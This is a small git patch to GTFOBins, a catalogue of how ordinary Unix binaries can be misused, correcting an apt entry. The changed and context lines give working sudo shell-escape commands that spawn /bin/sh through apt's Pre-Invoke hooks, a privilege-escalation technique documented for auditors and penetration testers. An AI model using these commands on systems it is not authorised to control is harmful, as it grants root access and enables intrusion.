From bab4250775b63e0a3260570aff83e5e709602b16 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 21 Jan 2019 16:41:17 +0100 Subject: [PATCH] Fix apt sudo shell --- _gtfobins/apt.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md index 008e672..325cdb7 100644 --- a/_gtfobins/apt.md +++ b/_gtfobins/apt.md @@ -16,5 +16,5 @@ functions: echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt install -c $TF sl - description: When the shell exits the `update` command is actually executed. - code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh + code: sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh ---